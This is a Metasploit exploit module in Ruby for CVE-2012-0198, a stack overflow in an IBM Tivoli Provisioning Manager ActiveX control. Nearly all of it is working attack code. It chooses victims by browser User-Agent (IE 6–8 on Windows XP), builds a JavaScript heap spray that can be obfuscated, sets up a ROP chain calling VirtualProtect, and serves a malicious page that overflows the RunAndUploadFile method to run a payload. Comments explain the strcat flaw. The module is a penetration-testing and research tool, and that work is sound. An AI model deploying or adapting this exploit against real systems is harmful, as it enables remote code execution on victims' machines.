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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name=> OperatingSystems::WINDOWS, :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "8.0", :javascript => true, :rank => NormalRanking, :classid=> "{84B74E82-3475-420E-9949-773B4FB91771}", :vuln_test=> "RunAndUploadFile", }) def initialize(info={}) super(update_info(info, 'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow", 'Description'=> %q{ This module exploits a buffer overflow vulnerability in the Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning Manager Express for Software Distribution 4.1.1. The vulnerability is found in the "RunAndUploadFile" method where the "OtherFields" parameter with user controlled data is used to build a "Content-Dispoition" header and attach contents in a insecure way which allows to overflow a buffer in the stack. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Andrea Micalizzi aka rgod', # Vulnerability discovery 'juan vazquez', # Metasploit module 'sinn3r' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0198' ], [ 'OSVDB', '79735' ], [ 'BID', '52252' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ] ], 'Payload'=> { 'Space' => 1000, 'BadChars'=> "\x00", 'DisableNops' => true }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # isig.dll 2.44.282.0 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset'=> 161, # length is strlen("submit") dependant 'OffsetShell' => '0x800 - code.length', 'ebp' => 0x09090909, 'Ret' => 0x09090909 } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset'=> 161, # length is strlen("submit") dependant 'OffsetShell' => '0x800 - code.length', 'ebp' => 0x09090909, 'Ret' => 0x09090909 } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset'=> 161, # length is strlen("submit") dependant 'OffsetShell' => '0x480', 'ebp' => 0x09090920, 'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 01 2012", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1]#IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2]#IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3]#IE 8 on Windows XP SP3 else return nil end end def get_payload(t, cli) if t['Rop'].nil? code = "" else #Fix the stack to avoid anything busted code = "\x81\xC4\x54\xF2\xFF\xFF" end code << payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # ROP chain generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP") exec_size = 0xffffffff - code.length + 1 rop = [ 0x7c37653d,# POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN exec_size, # Value to NEG 0x7c347f98,# RETN (ROP NOP) 0x7c3415a2,# JMP [EAX] 0xffffffff, 0x7c376402,# skip 4 bytes 0x7c351e05,# NEG EAX # RETN 0x7c345255,# INC EBX # FPATAN # RETN 0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87,# POP EDX # RETN 0xffffffc0,# Value to negate, will become 0x00000040 0x7c351eb1,# NEG EDX # RETN 0x7c34d201,# POP ECX # RETN 0x7c38b001,# &Writable location 0x7c347f97,# POP EAX # RETN 0x7c37a151,# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81,# PUSHAD # ADD AL,0EF # RETN 0x7c345c30,# ptr to 'push esp #ret ' ].pack("V*") end code = rop + code return code end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}") send_not_found(cli) return end print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}") p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch)) js_spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['OffsetShell']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=0; i < 0x1A0; i++) { heap_obj.alloc(block); } JS js_spray = heaplib(js_spray, {:noobfu => true}) if datastore['OBFUSCATE'] js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) js_spray.obfuscate end bof = rand_text_alpha(my_target['Offset']) bof << [my_target['ebp']].pack("V") # ebp bof << [my_target.ret].pack("V") # eip html = <<-HTML <html> <head> <script> #{js_spray} </script> </head> <object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object> <script> var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do"; var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2"; var flags = "-level5"; msg = isig.RunAndUploadFile(url, fields, flags); </script> </html> HTML html = html.gsub(/^\t\t/, '') print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin * Vulnerability notes The Dangerous strcat allows to attach user-controlled contents after the Content-disposition header: .text:100040B0 Src = byte ptr -100h ... .text:100040DD push[ebp+Source]; Source => User controlled via "fields" param .text:100040E0 lea eax, [ebp+Src] .text:100040E6 pusheax ; Dest => Local variable where the Content-disposition header ; has been stored .text:100040E7 call_strcat ; strcat used by this module to overflow Function isn't protected with stack cookies so get the control flow is easy by overwriting the saved EIP on the stack. =end |
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